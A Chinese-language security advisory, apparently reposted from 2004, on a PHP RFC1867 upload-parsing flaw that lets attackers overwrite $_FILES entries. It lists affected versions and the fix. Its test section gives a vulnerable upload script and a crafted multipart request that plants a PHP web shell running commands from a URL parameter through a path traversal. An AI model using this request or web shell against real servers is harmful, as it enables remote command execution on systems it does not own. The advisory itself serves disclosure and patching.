您所在的位置: 首页 > 网络安全 > 漏洞补丁 > Windows >

PHP处理RFC1867 MIME格式导致数组错误漏洞

http://netsecurity.51cto.com  2005-08-10 10:35    51CTO.COM  我要评论(0)
  • 摘要:异常处理错误##远程进入系统##注意防范
  • 标签:漏洞  PHP  格式  FC


信息提供:

安全公告(或线索)提供热线:51cto.editor@gmail.com

漏洞类别:

数组错误漏洞

攻击类型:

远程攻击

发布日期:

2004-09-15

更新日期:

2004-10-08

受影响系统:

PHP PHP 5.0.1
PHP PHP 5.0.0
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1.0
PHP PHP 4.1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3pl1
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1pl2
PHP PHP 4.0.1pl1
PHP PHP 4.0.1
PHP PHP 4.0

安全系统:

PHP PHP 5.0.2
PHP PHP 4.3.9

漏洞报告人:

Stefano Di Paola

漏洞描述:

BUGTRAQ  ID: 11190
PHP是一种流行的WEB服务器端编程语言。
PHP在处理RFC1867 MIME数据的时候存在漏洞,远程攻击者可以利用这个漏洞覆盖一些内存数据。
rfc1867.c中的SAPI_POST_HANDLER_FUNC()函数错误的数组解析,可导致覆盖$_FILES数组元素。如果Web程序信任上传的文件名的话,将导致恶意文件上传到任意目录。

测试方法:

警告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

-----file: upload.php------
<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
instead
// of $_FILES.
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['user_file']['name'];
print "<pre>";
if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
print "File is valid, and was successfully uploaded. ";
print "Here's some more debugging info:\n";
print_r($_FILES);
} else {
print "Possible file upload attack!  Here's some debugging info:\n";
print_r($_FILES);
}
print "</pre>";
?>
----end file: upload.php------
-----8<---form-------8<-----
POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Content-Type: multipart/form-data;
boundary=---------------------------1648318426118446961720965026
Content-Length: 395
-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[name]123";
filename="p.php"
Content-Type: ../html/passt.php
<?
passthru($_GET['cm']);
?>
-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream
<?
passthru($_GET['cm']);
?>
-----8<---endform----8<-----

解决方法:

PHP 4.3.9和5.0.2已经修复此漏洞,绿盟科技建议用户下载使用:
http://www.php.net



PHP开发基础入门
文档格式标准开战 OOXML成国际标准
用户如何应对ANI漏洞
访谈:Windows平台,企业网站漏洞的攻击和防御
SurfControl与您携手内容安全
 
 验证码: (点击刷新验证码)   匿名发表
  • Linux命令详解手册

  • 作者:Christopher Negus Francois Caen
  • 本书出自多本Linux畅销书作者Negus之手,他以多年实践经验为基础,且从大多数系统管理员的日常工作需求出发,分门别类、细致入..
Copyright©2005-2009 51CTO.COM 版权所有